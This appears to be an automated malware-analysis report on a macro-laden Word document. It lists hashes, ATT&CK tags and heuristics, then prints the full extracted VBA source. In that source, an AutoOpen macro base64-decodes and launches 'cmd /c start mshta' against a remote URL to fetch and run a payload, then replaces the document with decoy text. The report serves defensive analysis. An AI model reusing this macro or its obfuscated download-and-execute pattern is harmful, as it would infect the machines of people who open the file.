Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e1276503348f6723…

MALICIOUS

Office (OOXML)

38.4 KB Created: 2018-03-19 07:58:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-04-17
MD5: f22dd5a9274d534f2c3f4117dffdcba8 SHA-1: 2bf4c40e2660bbe98a6637d9cac5de2b8c842d4c SHA-256: e1276503348f6723b7a8e2c1a05c36b8dbb8330aab92a16e0926296b15b1d445
130 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The OOXML document contains VBA macros, including an AutoOpen macro that uses CreateObject and Shell execution. The presence of an AutoOpen macro and the 'SE_ENABLE_LURE' heuristic indicate the document is designed to trick the user into enabling macros to download and execute a secondary payload. The VBA code includes functions for HexToText and Base64ToHex conversion, suggesting obfuscation of malicious content.

Heuristics 6

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     Set fso = CreateObject("Scripting.FileSystemObject")
 Set objChars = CreateObject("Scripting.Dictionary")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
'
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7021 bytes
SHA-256: 7333b17f8083b68ee13dfc5ca62bbac98296238fef98e3bb5115ea7cd8592632
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Function HexToText(strHex)
    ' Function to convert a string of hexadecimal bytes into a text string.
    Dim strChar, k

    HexToText = ""
    For k = 1 To Len(strHex) Step 2
        strChar = Mid(strHex, k, 2)
        HexToText = HexToText & Chr("&H" & strChar)
    Next
End Function

Function Base64ToHex(strValue, objChars)
    ' Function to convert a base64 encoded string into a hex string.
    Dim lngValue, lngTemp, lngChar, intLen, k, j, intTerm, strHex

    intLen = Len(strValue)

    ' Check padding.
    intTerm = 0
    If (Right(strValue, 1) = "=") Then
        intTerm = 1
    End If
    If (Right(strValue, 2) = "==") Then
        intTerm = 2
    End If

    ' Parse into groups of 4 6-bit characters.
    j = 0
    lngValue = 0
    Base64ToHex = ""
    For k = 1 To intLen
        j = j + 1
        ' Calculate 24-bit integer.
        lngValue = (lngValue * 64) + objChars(Mid(strValue, k, 1))
        If (j = 4) Then
            ' Convert 24-bit integer into 3 8-bit bytes.
            lngTemp = Fix(lngValue / 256)
            lngChar = lngValue - (256 * lngTemp)
            strHex = Right("00" & Hex(lngChar), 2)
            lngValue = lngTemp

            lngTemp = Fix(lngValue / 256)
            lngChar = lngValue - (256 * lngTemp)
            strHex = Right("00" & Hex(lngChar), 2) & strHex
            lngValue = lngTemp

            lngTemp = Fix(lngValue / 256)
            lngChar = lngValue - (256 * lngTemp)
            strHex = Right("00" & Hex(lngChar), 2) & strHex

            Base64ToHex = Base64ToHex & strHex
            j = 0
            lngValue = 0
        End If
    Next
    ' Account for padding.
    Base64ToHex = Left(Base64ToHex, Len(Base64ToHex) - (intTerm * 2))

End Function

Sub AutoOpen()
'
' AutoOpen Macro

 Dim Download As String
 Dim encShellString As String
 Dim decShellString As String
 
 Dim RetVal As Long
 Dim sSourceUrl As String
 Dim sLocalFile As String
 
 
 encShellString = "c2hlbGwuYXBwbGljYXRpb24="
 
 Set fso = CreateObject("Scripting.FileSystemObject")
 Set objChars = CreateObject("Scripting.Dictionary")
 
 objChars.CompareMode = vbBinaryCompare
 objChars.Add "A", 0
 objChars.Add "B", 1
 objChars.Add "C", 2
 objChars.Add "D", 3
 objChars.Add "E", 4
 objChars.Add "F", 5
 objChars.Add "G", 6
 objChars.Add "H", 7
 objChars.Add "I", 8
 objChars.Add "J", 9
 objChars.Add "K", 10
 objChars.Add "L", 11
 objChars.Add "M", 12
 objChars.Add "N", 13
 objChars.Add "O", 14
 objChars.Add "P", 15
 objChars.Add "Q", 16
 objChars.Add "R", 17
 objChars.Add "S", 18
 objChars.Add "T", 19
 objChars.Add "U", 20
 objChars.Add "V", 21
 objChars.Add "W", 22
 objChars.Add "X", 23
 objChars.Add "Y", 24
 objChars.Add "Z", 25
 objChars.Add "a", 26
 objChars.Add "b", 27
 objChars.Add "c", 28
 objChars.Add "d", 29
 objChars.Add "e", 30
 objChars.Add "f", 31
 objChars.Add "g", 32
 objChars.Add "h", 33
 objChars.Add "i", 34
 objChars.Add "j", 35
 objChars.Add "k", 36
 objChars.Add "l", 37
 objChars.Add "m", 38
 objChars.Add "n", 39
 objChars.Add "o", 40
 objChars.Add "p", 41
 objChars.Add "q", 42
 objChars.Add "r", 43
 objChars.Add "s", 44
 objChars.Add "t", 45
 objChars.Add "u", 46
 objChars.Add "v", 47
 objChars.Add "w", 48
 objChars.Add "x", 49
 objChars.Add "y", 50
 objChars.Add "z", 51
 objChars.Add "0", 52
 objChars.Add "1", 53
 objChars.Add "2", 54
 objChars.Add "3", 55
 objChars.Add "4", 56
 objChars.Add "5", 57
 objChars.Add "6", 58
 objChars.Add "7", 59
 objChars.Add "8", 60
 objChars.Add "9", 61
 objChars.Add "+", 62
 objChars.Add "/", 63
    
 decShellString = HexToText(Base64ToHex(encShellString, objChars))
' MsgBox ("Dec String is: " & decShellString)
 
 wshellstring = HexToText(Base64ToHex("V1NjcmlwdC5TaGVsbA==", objChars))
 Set WShell = CreateObject(wshellstring)
 strHomeFolder = WShell.ExpandEnvironmentStrings("%APPDATA%")
 
 indexPath = strHomeFolder & HexToText(Base64ToHex("XE1pY3Jvc29mdFxtaWIuZGF0", objChars))
 
' MsgBox (indexPath)
 Set stream = fso.CreateTextFile(indexPath, True)
 stream.Write "1111:lyx*05E46A118B23D460E625FE31"
 
 Set oShell = CreateObject(decShellString)
 oShell.ShellExecute HexToText(Base64ToHex("Y21kLmV4ZQ==", objChars)), HexToText(Base64ToHex("L2Mgc3RhcnQ=", objChars)) & " " & HexToText(Base64ToHex("bXNodGE=", objChars)) & " " & HexToText(Base64ToHex("aHR0cDovLw==", objChars)) & HexToText(Base64ToHex("a21icjEubml0ZXNicjEub3Jn", objChars)) & HexToText(Base64ToHex("L1VzZXJGaWxlcy9GaWxlL2ltYWdlL2hvbWUuaHRtbA==", objChars)), "", HexToText(Base64ToHex("b3Blbg==", objChars)), 0
 WordShow
 'L1VzZXJGaWxlcy9GaWxlL2ltYWdlL2hvbWUuaHRtbA==
End Sub
Sub WordShow()
 Word.ActiveDocument.Range.Select
 Selection.WholeStory
 Selection.Delete Unit:=wdCharacter, Count:=(101 - 100)
 
 Word.ActiveDocument.ActiveWindow.View.DisplayBackgrounds = True
 Word.ActiveDocument.Background.Fill.ForeColor.RGB = RGB(255, 255, 255)
 Word.ActiveDocument.Background.Fill.Transparency = 0#
 
 Dim shadows As Word.Document
 Set shadows = ThisDocument
 shadows.Range.InsertParagraphAfter
 
 shadows.Range.InsertAfter "ʵ¼ÊÉÏ£¬Öз½ÍêÈ«Òâʶµ½Èý·½»áÎîÐû¸æµÄ¿ò¼ÜÒѾ­½¨Á¢£¬Òò´ËÒª²ÎÓëÏÂÒ»²½¾ßÌåµÄÎ޺˻¯ÑéÖ¤ÓëºÍƽЭÒé̸ÅС£" + vbLf
 shadows.Range.InsertAfter "ÓÉÓÚÖйúÊÇͣսЭ¶¨µÄÇ©Ô¼¹ú£¬ÖйúÓÐÒåÎñ²ÎÓë¡£" + vbLf
 shadows.Range.InsertAfter "мÓƳ¯ÃÀ·å»á²¢²»Êǽâ¾ö³¯Ïʰ뵺ÎÊÌâµÄÈ«Ãæ½â¾ö·½°¸£¬Ó¦ÊÓΪ½â¾öÎÊÌâ¹ý³ÌµÄÆðµã¡£" + vbLf
 shadows.Range.InsertAfter "º«³¯ÃÀÐû¸æÖÕսЭ¶¨ÊÇÒ»¼þºÃÊ£¬µ«ÖÕսЭÒéȱ·¦ÍêÈ«È¡´úͣսЭÒéµÄ·¨ÂÉÐÔ¡£" + vbLf
 shadows.Range.InsertAfter "Èç¹ûÖйúÇ©ÊðºÍƽЭÒ飬Õ⽫±£Ö¤Ð­ÒéµÄÎȶ¨ÐÔ¡£" + vbLf
 shadows.Range.InsertAfter "Öз½ÈÏΪÊ×ÏÈÒª½áÊøË«±ßÌôÕ½£¬Æä´ÎÓ¦¸Ã±£³ÖÒ»¸öÓÀ¾ÃºÍƽ״̬¡£" + vbLf
 shadows.Range.InsertAfter "ÖйúÊdz¯Ïʰ뵺ÎÊÌâµÄÓйعú¼Ò£¬Öз½½«¼ÌÐø·¢»ÓÆä½ÇÉ«¡£" + vbLf
 shadows.Range.InsertAfter "×ÜÖ®£¬Öйú×÷Ϊ½â¾ö³¯Ïʰ뵺ÎÊÌâµÄÓйعú£¬¶ÔÕâ´Î³¯Ïʰ뵺Î޺˻¯µÄ½ø³Ì¸Ðµ½ºÜ²»ÂúÒâ¡£" + vbLf
 shadows.Range.InsertAfter "³ýÁËÖÕսЭ¶¨£¬´Ó³¯·½Î޺˻¯ÑéÖ¤µ½ºÍƽÌõÔ¼µÄÇ©Ê𽫶¼Òª²ÎÓë¡£" + vbLf

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 22016 bytes
SHA-256: 51bc4c6f48fbe083a1232138794db4e43c1264e2094bb6c8427115cea66722cc

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